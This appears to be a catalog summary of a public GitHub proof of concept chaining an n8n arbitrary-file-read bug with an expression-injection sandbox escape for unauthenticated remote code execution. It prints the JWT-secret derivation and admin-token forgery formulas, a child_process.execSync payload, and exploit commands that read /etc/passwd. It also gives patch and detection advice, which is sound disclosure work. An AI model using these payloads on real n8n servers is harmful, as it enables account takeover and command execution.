Skip to content

Back to the catalog

Chocapikk/CVE-2026-21858
github.comrepo

Chocapikk/CVE-2026-21858

A GitHub PoC chaining two n8n CVEs into unauthenticated RCE: CVE-2026-21858 abuses a Content-Type confusion in the Form Trigger/Respond-to-Webhook nodes to read arbitrary files (e.g. /proc/self/environ, the SQLite database, and the config file), from which the attacker derives the JWT secret from n8n's encryptionKey and forges an admin session cookie. That admin access is then used to create a workflow exploiting CVE-2025-68613, an expression-injection sandbox bypass (`this.process.mainModule.require`) that yields command execution, all demonstrated with a working Python exploit script and Docker lab against n8n 1.65.0. It notes the exploit was developed independently of a prior Cyera/Dor Attias write-up on a related n8n chain and details the specific vulnerable workflow pattern (file-upload form + binary Respond node) required for exploitation.

TL;DR Unauthenticated n8n RCE PoC chaining an arbitrary-file-read Content-Type bug (CVE-2026-21858) with a JS sandbox-escape expression injection (CVE-2025-68613) to forge admin JWTs and execute commands.
Document

What it is

A working exploit chain against self-hosted n8n combining CVE-2026-21858 (Content-Type confusion → unauthenticated arbitrary file read in the Form Trigger / Respond-to-Webhook nodes) and CVE-2025-68613 (expression-injection sandbox bypass → RCE). The summary establishes the chain; what follows are the concrete boundaries, formulas, and commands the summary omits.

How it works

The file-read primitive: the Form Trigger node assumed multipart/form-data but did not check it. Sending Content-Type: application/json lets the attacker control filepath, so n8n reads any file and the binary Respond node returns it. The fix adds an assertion: a.ok(req.contentType === 'multipart/form-data', ...).

The token forge is exact and reproducible:

jwt_secret = sha256(encryption_key[::2]).hexdigest()
jwt_hash   = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token      = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

encryption_key comes from $HOME/.n8n/config, admin creds from $HOME/.n8n/database.sqlite, $HOME from /proc/self/environ.

The RCE payload works on any default n8n (no special nodes), because expressions expose this.process.mainModule.require:

={{ (function() {
  var require = this.process.mainModule.require;
  return require("child_process").execSync("id").toString();
})() }}

The author explicitly chose this over the Pyodide bypass (CVE-2025-68668), which needs the Python Code Node and is not universally available.

Preconditions / Affected

  • Version-based: n8n 1.65.0 is confirmed vulnerable; patched in ≥ 1.121.0.
  • Requires a workflow with fieldType: "file" and a Respond node with respondWith: "binary" — common in file converters/processors.
  • Does not work on n8n Cloud (no local file access, different architecture), on forms without a Respond node, on authenticated forms, or on patched builds.

What to do

Upgrade to ≥ 1.121.0. To reproduce against the included Docker lab:

docker compose up -d   # wait ~60s
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

Detection: a Nuclei template exists for CVE-2025-68613 (linked). Hunt for workflows combining Form Trigger file uploads with binary Respond nodes.

Caveats

The file-read bug fires regardless of exfil path, but without a binary Respond node the content can't be returned over HTTP — "blind" exploitation would need OOB or timing techniques. The author notes no official n8n.io templates use the vulnerable pattern, and popular (>100★) community repos don't either; the exposed instances are personal/community deployments.

Organisations named here

  • GHSA-v4pr-fm98-w9pg
  • GHSA-v98v-ff95-f3cp

CVEs named here

  • CVE-2026-21858
  • CVE-2025-68613
  • CVE-2025-68668

Technologies named here

  • exploit.py
  • n8n
  • Docker Compose
  • Vulhub
  • nuclei
  • LeakIX
  • Formidable
  • Docker
  • SQLite
  • Python

Techniques named here

  • Content-Type confusion for arbitrary file read
  • Reading /proc/self/environ
  • Reading local config and database files
  • JWT secret derivation and admin token forgery
  • Expression injection / sandbox escape
  • Blind exploitation